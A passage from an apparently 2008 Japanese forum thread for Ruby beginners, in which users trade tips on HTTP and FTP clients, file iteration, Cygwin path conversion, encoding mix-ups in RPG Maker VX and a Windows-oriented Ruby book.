Ruby 初心者スレッド ..
116:デフォルトの名無しさん
08/01/20 18:18:51
>>113
Poderosa 3 なら、.NET 1.0で動くよ
117:デフォルトの名無しさん
08/01/20 18:19:45
113は.Net2.0が入らない環境しか利用できないんだよ。
118:デフォルトの名無しさん
08/01/20 19:05:36
>>108
余計なお世話だけど
それらの値はStructに代入する前に数値型に直しておく方がいいと思う
119:108
08/01/20 19:13:48
>>109-110
ありがとうございます。勉強になりました。
120:デフォルトの名無しさん
08/01/20 19:44:50
Rubyist Magazine出張版 Ruby on Windows
URLリンク(www.amazon.co.jp)
ちょっと気になる
121:デフォルトの名無しさん
08/01/20 19:49:20
この人のるびま記事はすごく良かった
どの程度加筆されるかにもよるけど期待大
122:デフォルトの名無しさん
08/01/20 19:51:36
ちょっとまて、もう発売されてるみたいじゃないか・・・
漏れのバカバカバカ
123:デフォルトの名無しさん
08/01/20 20:01:01
立ち読みした限りでは「WindowsでRubyを使って楽をしたい」と考える人の最初の本として申し分ないように見える
載ってる例以外の事をしたいと考えたときに頼りになるかどうかはわからん
あとこれはどうでもいいんだが
def method_hoge arg
…
end
ってdefで引数カッコ省略の書き方をしてるのがどーにも性に合わん
124:デフォルトの名無しさん
08/01/20 20:02:43
>>120
> Javaや.NET CLRなどの膨大なソフトウエア資産を活用する方法まで
mjsk
125:デフォルトの名無しさん
08/01/20 20:03:28
JRubyとRuby.netか
126:デフォルトの名無しさん
08/01/20 20:15:59
>>124
URLリンク(book.mycom.co.jp)
> 第1回 Win32OLEことはじめ
> 第2回 Excel
> 第3回 ADODB
> 第4回 Outlook
> 弟5回 Web自動巡回
> 弟6回 Windowsアプリケーションの自動操作
> 弟7回 他の言語でのCOM
> 弟8回 WMI
> 弟9回 iTunes
> 弟10回 Exerb
> 弟11回 RubyCLR
> 弟12回 RjbとApache POI
> 弟13回 JRuby
5回目から弟になってるのはコピペ検知用の罠か何かか
127:デフォルトの名無しさん
08/01/20 20:31:21
弟に吹いた
Win32APIはあんまり書いてなさそうなのが残念だけど買っちゃおうかな
OLEとか情報集めるの大変だしね
128:デフォルトの名無しさん
08/01/20 21:06:13
目次見て俺でも書けるような気がしてきた
129:デフォルトの名無しさん
08/01/20 21:24:29
目次よりもサンプルスクリプト見たほうがいいな
130:デフォルトの名無しさん
08/01/20 22:06:51
インスタンス変数が設定されているかどうかを調べるために
class Object
def instance_variable_exist?(name)
self.instance_variables.include?(name)
end
end
としているんですけど、効率が悪いので、なんかもっといい方法あったら教えてください。
131:デフォルトの名無しさん
08/01/20 22:13:38
instance_variable_defined? 使えばいいんじゃない?
132:デフォルトの名無しさん
08/01/20 23:10:07
>129
そう思う奴のうち実際に書ける奴は半分以下
さらにそのうち本当に書く奴は1割以下
俺? もちろん最初の書ける奴、の上限で除外orz
133:デフォルトの名無しさん
08/01/20 23:10:33
上限てなんやorz
条件な
134:デフォルトの名無しさん
08/01/20 23:15:48
>>127
発売日に買って斜め読みした俺がコメント.
ExcelやOutlook,IEについては筆者セレクションによるメソッドやプロパティが
ちょろっと紹介されてる.ちょっと便利.
ただ,基本は限られた紙面に広範囲な情報を詰め込んでいて
個々のトピックについてはビックリするほどに紹介レベル.
ExerbRuntimeモジュールなんてメソッドすら載ってないよ.
でも,いつもexe化するのにしか使って無くて,そんなモジュールの存在を知らず
普通にdl/win32使ってexeのパス取得してた俺ショック.
WMIもPowershellの紹介とかで名前は聞いたことがあったし
デフォルトで実行パスにwbemが含まれているので気にはなっていたけど,使えるねこれ!
NICのIPアドレス取得するのにipconfig使ってて,一瞬,DOS窓が表示されるのがウザかったんだけど
WMIで解決しました.
上級者は必要ないかもしれないけど,初心者は買って損のない本.
135:88
08/01/20 23:40:34
>>99
おとなしく同一サーバにcgiを置く事にしました。
お騒がせしてすんまそん。
136:デフォルトの名無しさん
08/01/20 23:46:14
>>131
1.9からじゃないか?
137:デフォルトの名無しさん
08/01/20 23:59:07
>>136
1.8.6 から追加されてる
138:127
08/01/21 00:02:51
>>134
何という親切なコメント。ありがとね
そのあたりの知識も不足してる気がするし買うことにするよ
139:デフォルトの名無しさん
08/01/21 00:10:10
>>134
何という親切なコメント。ありがとね
そのあたりの知識も不足してる気がするし買うことにするよ
140:デフォルトの名無しさん
08/01/21 00:12:50
>>137
安定版という意味では変わらないか
141:デフォルトの名無しさん
08/01/21 00:41:00
>>137
ホントだすまん。
Refeでしか確認してなかったよ。
142:デフォルトの名無しさん
08/01/21 04:30:38
は!
143:デフォルトの名無しさん
08/01/21 04:40:53
503 対応してくれたみたいでありがとうございます><
144:デフォルトの名無しさん
08/01/21 09:10:19
>>131
そんなのあるんだ。それってどのバージョンから定義されているかわかりますか。
わしがもってるマニュアルには載ってなかったので。
145:デフォルトの名無しさん
08/01/21 16:14:08
1.8.6でこっそり追加だと思った
マニュアルには反映されてない可能性が
Emacs上でRubyスクリプト書いてる人はいる?
・rbファイルをruby-modeで読み込む
・普通に全部手書きする
・普通に別窓のコンソールでスクリプトを実行しエラーを目測
・普通に方向キー連打で該当行に到達
・普通に別起動のHTMLヘルプを見ながら修正
という、よく考えたらかなり無駄っぽい動きをしてる気がする俺をたしなめてくれ
146:デフォルトの名無しさん
08/01/21 16:43:12
>>145
めっ
147:デフォルトの名無しさん
08/01/21 17:10:38
> 普通に全部手書きする
Emacs自体に動的略語展開があるから、
一度読み込んだファイルに書いてある単語は2回書く必要はないかと
> 方向キー連打で該当行に到達
M-x goto-line
148:デフォルトの名無しさん
08/01/21 19:33:42
Rubyを使って大量のファイルに置換作業を加えたいんだけどどんなことを勉強すればいいですか?
149:デフォルトの名無しさん
08/01/21 19:46:23
>>148
それの期限を限りなく引き延ばすための技術や話術
普通に学んでる限りはそんなことをとりたてて聞いたりしないもんだ
聞かなきゃならないってことはRubyの基本やコンピュータの知識がなってないってことだから
150:デフォルトの名無しさん
08/01/21 19:51:43
>>148
すばらしいアイディアがあるよ
URLリンク(itpro.nikkeibp.co.jp)
151:デフォルトの名無しさん
08/01/21 20:03:08
>>148
入門書何冊かチェックして
テキストフィルタの話してるのを買って読めばいいよ
152:デフォルトの名無しさん
08/01/21 20:13:18
>>149
テキストエディタの正規表現を使って置換することはできるんですが、プログラミングに関してはパーです
>>150
ああ・・・でも変更を加えたいファイルはテキストベースなんです。
人間が簡単に読めるってのが売りのデータ形式なんで、データそのものを、62進数の文字列に変換 とかっていうのはいただけないです
>>151
わかりました
153:デフォルトの名無しさん
08/01/21 21:05:30
>>150
インデックスを使うっていうだけだよねこれ
154:デフォルトの名無しさん
08/01/21 21:25:14
>>153
もう一度読み返してみたら”それらをファイル名の集合体として別途管理する”って書いてあることに気付きました
155:デフォルトの名無しさん
08/01/21 21:32:54
FS(BTree系)+OSのディレクトリキャッシュで管理するか、
DBMSのテーブル(典型的にはBTree系)+DBMSのキャッシュで
管理するかの違いだけのような気がする
156:デフォルトの名無しさん
08/01/21 21:44:16
>>150
スラドで袋だたきされてる奴だろw
157:デフォルトの名無しさん
08/01/21 21:46:22
技術的には奇特人間大賞みたいなもんで別段問題ないっす
プレスリリースがアホっぽいので話題になってるだけ
158:デフォルトの名無しさん
08/01/21 21:52:33
まぁでも、初心者に勧めるようなもんじゃないな。
159:デフォルトの名無しさん
08/01/21 22:18:02
今ならPythonだな
160:デフォルトの名無しさん
08/01/21 22:21:27
スラドの関連ストーリーがLyee関係になってて
可哀想だった・・・・そこまでひどくはないと思うし・・・・・
161:デフォルトの名無しさん
08/01/21 22:48:06
Ruby検定がコンピュータベースで全国200個所で受験可能に − @IT
URLリンク(www.atmarkit.co.jp)
やったね!
162:デフォルトの名無しさん
08/01/21 22:50:03
松江詣でをする理由が無くなったな
163:デフォルトの名無しさん
08/01/21 22:58:17
Ruby検定なんてあったのか
そんなもん取ってなんの役に立つんだ?
164:デフォルトの名無しさん
08/01/21 23:02:39
そりゃー、おめー、あれだー、現行の幾つか前のバージョンの仕様ならちゃんと理解してた、つーことをだな
165:デフォルトの名無しさん
08/01/21 23:12:17
>>163
面接のときの話のネタになる、ということが言われております
166:デフォルトの名無しさん
08/01/21 23:26:29
とりあえずここは初心者スレだ
167:デフォルトの名無しさん
08/01/22 11:25:47
>>145
ruby-mode って組み込みクラスのメソッド補完とかできないの?
他のモードにはある C-c C-c での実行とか マニュアル表示とかも無理?
168:デフォルトの名無しさん
08/01/22 15:48:50
すみません教えてください。
自分のIPアドレスを知るためのhttpクライアントを作ろうとしています。
普通のページは .get できるのですが、CGIの返してくるものを取れません。
以下のコードです(URLは架空)。
require 'net/http'
Net::HTTP.version_1_2
Net::HTTP.start('URLリンク(YourIP.com)', 80) { |http|
response = http.get('/ip.cgi')
puts response.body
}
169:デフォルトの名無しさん
08/01/22 16:07:10
>>168
require 'open-uri'
html = open('URLリンク(YourIP.com)').read
puts html
open-uriで逆に面倒になることが事前にわかってる場合以外はopen-uri使い続けれ
上記でhtmlが空になる、あるいはopenでエラーが出る場合はCGIが悪い
170:デフォルトの名無しさん
08/01/22 18:14:32
>>156
URLキボンヌ
171:デフォルトの名無しさん
08/01/22 21:08:40
# 最近rubyの質問がすくねえな
>>168
まず、以下の点について答えよ
・そのCGIはお前が書いたモノかどうか
・http.post での結果
172:デフォルトの名無しさん
08/01/22 22:12:18
質問です。
Ruby 1.9以降で正規表現関係はどう変わりますか?
鬼車がどうこうというのは、あちこちで目にするのですが、
具体的な変更点が詳しく分かるサイトとかあれば教えてください。
173:デフォルトの名無しさん
08/01/22 22:50:45
質問です
あるディレクトリにある全てのファイルの中身を見て処理を行いたい場合の定石などありますでしょうか?
自分は
Dir.entries("ディレクトリ名") do |file|
File.open("ディレクトリ名" + file)
なんだかの処理
end
end
とかやっているのですが、いまいちです
Dirでディレクトリ内部のファイル一覧を取得するとどうもStringにしてくれるみたいですが、Fileをうまいこと取得できたりしないのでしょうか?
ついでにCやJavaでインクリメントする場合
value++
とか書きますよね
Rubyだと++はないようですが、どうするのがいいのでしょうか?
よろしくお願いいたします
174:デフォルトの名無しさん
08/01/22 22:52:23
value += 1 とするしかない
175:デフォルトの名無しさん
08/01/22 22:58:41
>>173
Dir.glob("./hoge/*").each do |path|
File.open(path){|f|
…
}
end
おそらくこれが一番人気
他のDirもPathnameの各メソッドもビミョーに使い勝手が悪い
インクリメントは作者がやだって言ってるので>>174以外の方法はないよ
176:デフォルトの名無しさん
08/01/22 23:08:39
>>174-175
さんくすです
助かりました
参考にさせてもらいます
value+=1はあったのですね
てっきり、+=も無いと思っていたのでvalue = value + 1と書いてましたw
177:デフォルトの名無しさん
08/01/23 00:58:08
>>170
>>150
スラッシュドット ジャパン | データをすべてファイル名扱いにして高速検索を実現?
URLリンク(slashdot.jp)
178:デフォルトの名無しさん
08/01/23 01:01:16
>>177
関連エントリー。アルファブロガーの反応
404 Blog Not Found:ニセ情報科学? - ISSEI
URLリンク(blog.livedoor.jp)
179:デフォルトの名無しさん
08/01/23 09:38:29
>>169
うまくいきました。
ありがとうございます。
>>171
cgiは、とりあえず既存のものです。
読むのがうまくいったので、送る方のcgiも自作するつもり。
.startでSocketErrorになっていました。
http.post は行っていません。
180:デフォルトの名無しさん
08/01/23 09:59:37
>>179
>.startでSocketErrorになっていました。
×Net::HTTP.start('URLリンク(YourIP.com)', 80) { |http|
○Net::HTTP.start('YourIP.com', 80) { |http|
181:デフォルトの名無しさん
08/01/23 10:18:36
そのアルファブロガー(笑)はどうでもいい
182:デフォルトの名無しさん
08/01/23 10:40:38
>>180
御指摘感謝
183:デフォルトの名無しさん
08/01/23 15:45:18
重複順列の中で各要素を必ず最低一つは含むものを生成するコードって効率よく書けます?
下のように書いてみたけど、全重複順列を生成して後でチェックするのはいまいちな感じ。
class Array
def each_perm(k)
if k == 1
each{|x| yield [x]}
else
each do |x|
each_perm(k-1) do |y|
yield [x]+y
end
end
end
end
end
k = 5; ary = [1,2,3]
ary.each_perm(k) do |x|
p x if x.uniq.size == ary.size
end
184:デフォルトの名無しさん
08/01/23 16:15:20
URLリンク(blade.nagaokaut.ac.jp)
irb> a = Array.new
irb> power(3, 5){|x| a.push([1,2,3].values_at(*x))}
irb> p a.size
243
3 個の異なった要素から重複を許して 5 個取り出す重複順列の総数は 3Π5 つまり 3^5 で 243
185:デフォルトの名無しさん
08/01/23 16:54:13
>>184
レスどうも。values_atって初めて見たかも。
やりたかったのは、各要素を最低一つを含むっていうので
[1,2,3]つから5つ取り出した順列だと
[1,1,1,2,3],[1,1,1,3,2],[1,1,2,1,3],,,
という感じのものでした。うーん、閃きそうで閃かない。
186:デフォルトの名無しさん
08/01/23 17:03:57
重複順列を全て生成してから不適なの弾くのがやっぱ素直なんじゃね?
187:デフォルトの名無しさん
08/01/23 17:51:04
>>177-178
そういえばファイルの保護ってファイル名に対してはかからないんだよね。
つまり、データをファイル名に使うことで・・壊れやすくなる。
ファイルサイズを0にするやつは、データを盗まれないようにする方法としては使えるね。
一旦デコードしないとコピーができないから。
企業のページでは
>次世代Web基盤技術
とか言ってるけど、なんでWebなんだろ。
データを取り扱うときに通常のファイル形式にしないといけないはずだが。
>独自のプログラムとデータ構造により、圧倒的なコストパフォーマンスを実現
・・・
ああ、コストパフォーマンスについてはそうかも。
DBMSを使うとそれにライセンス料を払う必要があるが、OS標準の機能なら追加料金がかからない。
・・・
フリーのDB使えばいいけど、遅いって話もなくもないし。
188:デフォルトの名無しさん
08/01/23 18:56:40
スレ違いを理解できない低脳は去ね
189:デフォルトの名無しさん
08/01/23 21:07:53
おい
リファレンスマニュアル検索できなくなってるんだけど
URLリンク(www.ruby-lang.org)
190:デフォルトの名無しさん
08/01/23 21:18:24
マニュアル本体をCGIやめて静的HTMLにしたって聞いたからその関係なんだろう
191:デフォルトの名無しさん
08/01/23 21:31:23
Ruby、かっこわるい
192:デフォルトの名無しさん
08/01/23 21:32:38
検索できないって終わってるなw
つかプログラミング言語の公式サイトが検索アプリもまともに作れないとか
193:デフォルトの名無しさん
08/01/23 21:34:22
e?
オヒサルで検索してる奴なんてこの世に存在するの?
194:デフォルトの名無しさん
08/01/23 21:40:20
ローカルで検索すればいいのにね。
195:デフォルトの名無しさん
08/01/23 21:40:58
Namazuとか使えば簡単にインデックス作れそうだけどな。
俺が暇になったときにまだ検索できないようなら作ってみよ
196:デフォルトの名無しさん
08/01/23 21:45:15
トップページには検索機能があるが、Radiantで管理してる部分だけの
対応みたいだな。
リファレンスはやっつけで静的HTML化したからカバーしてない(つーか
忘れてるだろ、おそらく)んだろうな。
197:デフォルトの名無しさん
08/01/23 22:35:23
VisualuRubyって今だに開発続いてるの?
RADっぽいお手軽開発環境探してるんだけどやっぱしないかなぁ?
198:デフォルトの名無しさん
08/01/23 23:11:49
Ruby使いって低脳多いんだな
いちいち全PCにマニュアルインスコしてられっかよwwwwww
199:デフォルトの名無しさん
08/01/23 23:21:11
ActiveRubyのアイコンが気に入らないので
XP風の普通のRubyファイル用のアイコンを探しています。
Perl用とかC用とかも有ればベストなのですが、
オーソドックスな普通のアイコンはありませんか?
200:デフォルトの名無しさん
08/01/23 23:22:42
何がどうオーソドックスなんだ…
201:デフォルトの名無しさん
08/01/23 23:29:42
site:ruby-lang.org
オプションをつけてGoogle検索すればいいだけじゃね?
202:デフォルトの名無しさん
08/01/23 23:46:33
Ruby Iconで検索するとそこそこのが見つかる
203:デフォルトの名無しさん
08/01/24 10:48:55
ftpを試みていますが、うまくいきません。
require 'net/ftp'
ftp = Net::FTP::open("qwerty.com",'user','****')
puts ftp.status # OK
puts ftp.nlst # NG
ftp.close
以上のコードで status は実行するのですが nlst でエラーになります。
御意見いただけませんでしょうか。
204:デフォルトの名無しさん
08/01/24 11:05:00
ただエラーって言われてもねえ
205:デフォルトの名無しさん
08/01/24 11:27:56
>>204
オーソドックスなFTPで ls と手入力するとファイルリストを見られるのですが、Rubyでは以下のエラーになります。
c:/ruby/lib/ruby/1.8/net/ftp.rb:241:in `getresp': 425 Failed to establish connec
tion. (Net::FTPTempError)
from c:/ruby/lib/ruby/1.8/net/ftp.rb:264:in `sendcmd'
from c:/ruby/lib/ruby/1.8/monitor.rb:242:in `synchronize'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:262:in `sendcmd'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:336:in `transfercmd'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:421:in `retrlines'
from c:/ruby/lib/ruby/1.8/monitor.rb:242:in `synchronize'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:419:in `retrlines'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:609:in `nlst'
from ftp_up$.rb:5
dir も同様です。
206:デフォルトの名無しさん
08/01/24 11:30:29
NATの内側にいてパッシブモードでないとか?
207:デフォルトの名無しさん
08/01/24 11:39:57
FTPのエラーコードがわかれば瞬殺だな
Rubyの出す例外はきちんと書こうぜ
>>206
んだなす
ftp.passive=trueしたあとにコマンド実行させれば動くはず
208:デフォルトの名無しさん
08/01/24 13:36:59
>>206,207
passive=true にしてみましたがダメでした。
以下はstatus表示後のエラー表示です。
c:/ruby/lib/ruby/1.8/net/ftp.rb:159:in `initialize': 接続済みの呼び出し先が一定
の時間を過ぎても正しく応答しなかったため、接続できませんでした。または接続済みの
ホストが応答しなかったため、確立された接続は失敗しました。 - connect(2) (Errno::
ETIMEDOUT)
from c:/ruby/lib/ruby/1.8/net/ftp.rb:159:in `open'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:159:in `open_socket'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:317:in `transfercmd'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:421:in `retrlines'
from c:/ruby/lib/ruby/1.8/monitor.rb:242:in `synchronize'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:419:in `retrlines'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:609:in `nlst'
from ftp_up$.rb:9
exec で ftp 呼んで実行手順をファイルで渡すことにします。
御指導ありがとうございました。
209:デフォルトの名無しさん
08/01/24 20:58:18
ASCII-8BIT ってなんですか?
210:デフォルトの名無しさん
08/01/24 21:10:30
>>209
このスレではまだしばらくは縁のない言葉です。
211:デフォルトの名無しさん
08/01/24 23:24:09
これから正規表現を書き溜めていく気マソマソ
どうせなら鬼車に乗りたいので
早く1.9系安定してくだされぇ〜!
を言い訳に作業をサボる自分・・・ヨワッ
212:デフォルトの名無しさん
08/01/25 01:49:10
すみませんが、質問です。
open パス名 do |file|
例外発生
end
となった場合、オープンされたファイルは自動的にクローズされるのでしょうか?
213:デフォルトの名無しさん
08/01/25 02:14:22
ブロック付きopenは、
begin
open
付いてきたブロックであれこれ作業
ensure
close
end
という意味。ensureは例外になろうがなるまいが実行されるよ。
214:デフォルトの名無しさん
08/01/25 02:19:42
>>213
ありがとうございます。これで安心して作業ができます。
215:デフォルトの名無しさん
08/01/25 04:28:52
すみません。
C++で書かれたプログラムをrubyに移植しているのですが、参照で困りました。
RubyにはC++でいう参照はありますか。
それもクラスインスタンスではなくint等の組み込み型を参照として渡すことはできますか。
216:デフォルトの名無しさん
08/01/25 05:48:31
Rubyでは、数値とSymbol以外はすべて参照
217:デフォルトの名無しさん
08/01/25 05:53:26
引数の参照渡しのことかも。
それは確かできなかったはず
218:デフォルトの名無しさん
08/01/25 06:12:03
>>215
>int等の組み込み型を参照として渡すことはできますか。
integerやfloatはできない。それ以外はすべて参照。
引数の参照渡しのことなら、できない。
まず具体的にどんなことがしたいかをプログラムで書いてみて。
219:デフォルトの名無しさん
08/01/25 06:29:21
>>218
簡単に説明しますと、オブジェクト内部で条件が真のときに引数の参照に値を代入し、boolで関数の結果を返す関数です。
bool Hoge::GetData(int condition,float &buffer)
{
if(condition == this->condition)
{
buffer = this->my_float_value;
return true;
}
return false;
}
220:デフォルトの名無しさん
08/01/25 07:05:58
>219
・関数が失敗の場合は、例外を返せば良い
・Rubyのメソッドは複数の値を返せる(return a, b とすれば a, b = get_data() で受け取れる)
・bufferがオブジェクトの一部分なら、オブジェクト自体を渡す選択肢も
・配列として受け渡しすれば、擬似的な参照渡しになる
お好きなのをどうぞ。
221:デフォルトの名無しさん
08/01/25 07:13:09
Ruby的には条件が真なら数値を、偽ならnilを返すようにするとかっこいいよね
戻り値がnilか否かをチェックすれば真偽をチェックしたことになるから
222:デフォルトの名無しさん
08/01/25 07:19:09
>>220-221
なるほど。
ありがとうございました。
223:デフォルトの名無しさん
08/01/25 07:26:32
すみません
同じ値のはずの2つのstringオブジェクトを==で比べると、なぜかfalseが返ってきます。
デバッグで見ても、2つのオブジェクトは全く同じ値でした。
どこか処理がまずくてスタックが壊れてるのでしょうか?
224:デフォルトの名無しさん
08/01/25 07:32:44
>223
JavaじゃなくてRubyの話なんだよな?
p 変数
で見ても全く同じ?
225:デフォルトの名無しさん
08/01/25 07:39:37
はい。同じでした。
if str1 == str2
return;
end
p str1 + " " + str2
このようなコードなのですが、if文でリターンせずにpによって 「同じ文字 半角スペース 同じ文字」 が表示されました。
226:デフォルトの名無しさん
08/01/25 07:55:25
+で結合せずに、どういう出力が出るか試してみ
p str1
p str2
p str1.class
p str2.class
あとRubyのバージョンを書いて
227:デフォルトの名無しさん
08/01/25 08:00:09
どうもすみません。
結果です。
あ
あ
String
String
と表示されました。
バージョンは1.8.1です。
228:デフォルトの名無しさん
08/01/25 08:20:26
1.8.1で文字列もクラスも同じ……となると、原因が全く分からないな
あとはコード全体を見ないことには
229:デフォルトの名無しさん
08/01/25 09:02:14
>>227
"あ"
ではなく
あ
と表示されたのなら問題ないんじゃね
230:デフォルトの名無しさん
08/01/25 09:14:01
>>228
URLリンク(gonzo.dip.jp)
アップしました。
見辛くて申し訳ありません。
なにかトンチンカンなことをやってバグを誘発しているのでしょうか(><)
231:230
08/01/25 09:14:26
DLkeyはrubycsvです。
232:デフォルトの名無しさん
08/01/25 09:15:08
>>221
0が真になるのは良いとして
falseも真という意味ですよね
nilだけが偽と
233:230
08/01/25 09:27:04
ソースに誤植がありました
× check( i , GetElementString( i , "通常" , n ) );
○ check( i , GetElementString( i , "通常ポーズ" , n ) );
234:デフォルトの名無しさん
08/01/25 09:35:34
…。全角空白混じってるしトップレベルのmainを実行してる場所がないぞ。
で、41行目の
> if( elem_name.to_s == @definition_names[i].to_s )
で、同じデータのはずなのにfalseが返ることがあるという質問でいい?
235:デフォルトの名無しさん
08/01/25 09:37:50
>>234
すみません全角混じっていましたか。
質問は全くその通りです。
236:デフォルトの名無しさん
08/01/25 09:54:58
ifにelseを追加してみる。つまりfalseのときにelem_nameと@definition_names[i]を表示させてみる
else
print "[ #{elem_name} <=> #{@definition_names[i]}] "
結果を整形してみる
[ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡]
[ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃]
[ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃]
[ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡]
[ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利]
[ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡]
[ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃]
[ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃]
[ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡]
[ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利]
ということで同じ文字はないよ。csvデータはUTF-8なんだけどスクリプト本体のほうはUTF-8なの?
アップロードのときにミスったんだと思ってたけど、もしこのままならスクリプトはShiftJISになってるよ
237:デフォルトの名無しさん
08/01/25 10:38:17
>>236
お手数おかけしました。
ということは、コードの問題ではなくて、環境固有の問題なのでしょうか。
実は実行環境はRPGツクールVXなのです。
こちらの環境ではelseで付け加えて値を見ると、同じ文字の組み合わせがありました。
ツクール内部で呼び出しているので、通常の環境とは異なっているのかもしれませんね。
238:デフォルトの名無しさん
08/01/25 12:33:45
すみませんが、Cygwin上でRubyをお使いの方に質問です。
ディレクトリからファイル名のリストを取得し、WIN32OLE 経由で MS-Word の
COMコンポーネントに一つずつ渡そうとしています。
Wordに与えるファイル名は絶対パスである必要があるようなので、個々のファ
イル名にFile.expand_path を適用してから渡しています。
ところが、File.expand_path の戻り値が /cygdrive/c/... や、/home/ユーザ
名 になってしまうのです。もちろん Word が必要としているのは C:\ で始ま
るパスなので、Wordがファイルを開くことができません。
File.expand_path(ファイル名).gsub(%r!^/cygdrive/c/!, "C:/").gsub(%r!/home/!, "/C:/cygwin")
とやれば何とかなりますが、どうも不恰好です。もっと良い方法はないでしょ
うか?
239:デフォルトの名無しさん
08/01/25 12:43:09
cygpath -d /cygdrive/c
240:デフォルトの名無しさん
08/01/25 12:44:27
$ cygpath -w '/cygdrive/c/program files'
c:\program files
$ cygpath -d '/cygdrive/c/program files'
c:\PROGRA~1
241:デフォルトの名無しさん
08/01/25 12:50:17
>>238
まあcygwinのシステムに乗っかってる以上根本的にはどうしようもない
WindowsアプリケーションとしてのRuby使え
C:\Documents and Settings\俺\デスクトップ\新しいフォルダ>ruby -e 'puts File.expand_path("csvloader.txt")'
C:/Documents and Settings/俺/デスクトップ/新しいフォルダ/csvloader.txt
242:デフォルトの名無しさん
08/01/25 12:54:58
>>232
>0が真になるのは良いとして
>falseも真という意味ですよね
>nilだけが偽と
うんにゃ。nilとfalseが偽と見なされる。
成功したときは数値を返し、失敗したときはnilを返す。falseは返さない。
これでいいじゃん?
243:デフォルトの名無しさん
08/01/25 12:57:12
正規表現目当てでRubyに挑戦中
str1=str2
でなく
str1=str2.dup
と書かなきゃコピーにならんとこは
わたしのような初心者にはドエライ罠だったんですけど・・・
244:デフォルトの名無しさん
08/01/25 13:09:18
>>243
「明示的な複製」が自力で必要な場面は意外と少ないんだ
データを返す組み込みクラスのメソッドの多くは結果を複製して返す
知らないとどこかで絶対に一度は嵌るが、知ってしまうと意外とそうでもない
>>242
falseは(Rubyには型としては無いけど)booleanで使うといいよね
nilはそれ以外の「空」とか「無し」とか
「失敗」をfalseにするかnilにするかは若干迷うけど、「成功」がtrueという値になると思えるならfalseだな
if文ではfalseもnilもelseに行くから深く考えなくてもいいし
245:238
08/01/25 13:13:23
皆さん、ありがとうございます。
>>239->>240
wdoc = wordOLEObject.Documents.open `cygpath -w #{File.expand_path 'Readme'}`
こんな感じでしょうか?
これだと、今度は逆にCygwin以外のWindows環境では動きません。環境の判別法
ははないものでしょうか?
欲を言えば、分岐なしでどちらの環境でも動くならありがたいのですが。
>>241
Cygwin版のRubyと共存させるわけですか...。それも一つの手だなあ。
ActiveScriptRuby 使いたいし。
ただ、環境が安定するかどうかが不安です。
246:デフォルトの名無しさん
08/01/25 14:03:12
>>245
環境の判別はRUBY_PLATFORMで。
分岐なしで動くようにするのは無理。
強いて言えば238で自分で書いてるのが分岐なしで動くようにする方法になるのかもしれんが。
247:デフォルトの名無しさん
08/01/25 14:05:07
> 分岐なしで
どこをどう作っても内部的には分岐使ってる
気にすんな
248:デフォルトの名無しさん
08/01/25 14:16:30
最初は抵抗あるけど、サブルーチンだと割り切ってメソッドに切り分ければ
あ〜ら不思議あら不思議
249:デフォルトの名無しさん
08/01/25 14:19:51
あえてCygwin版を使うメリットって何?
Cygwin環境で閉じた使い方をする分にはパス周りのトラブルが少ないのから?
250:デフォルトの名無しさん
08/01/25 14:22:48
昔は全部Cygwinでないとどうにもならなかったんだよ
5年くらい前の話
251:デフォルトの名無しさん
08/01/25 15:09:02
>>250
つまり、今はそうでもないってこと?
252:238
08/01/25 15:09:49
みなさん、再度ありがとうございます。
結局、通常のWindows版のRubyを入れて、絶対パスで呼び出すようにしました。
"/cygdrive/c/program Files/ruby-1.8/bin/ruby.exe" ...
これで問題なく、Cygwinからでも呼び出せました。
ただ厳密には、CygwinのコンソールでEmacs22を起動し、その中のeshellでで
す。Emacsの通常のshellモードでは、表示が少しおかしいようです。
>>246
> 分岐なしで動くようにするのは無理。
そうですか...。それは仕方ありませんね。
>>249
> あえてCygwin版を使うメリットって何?
単純に、Cygwin環境でデフォルトで呼び出されるのがそれだからです。
またPythonが、通常のWindows版はCygwin環境と相性が良くなかったのです。
(対話コンソールをCygwin環境で呼び出すと、画面に何も出ない)
だからRubyもWindows版を使うのは避けていました。
ちなみにこのやり取りも Cygwin Emacs22のNavi2chでやっております。
Linux機もあるのですが、Cygwinにはいろいろ便利なことがあるので。
253:デフォルトの名無しさん
08/01/25 17:01:18
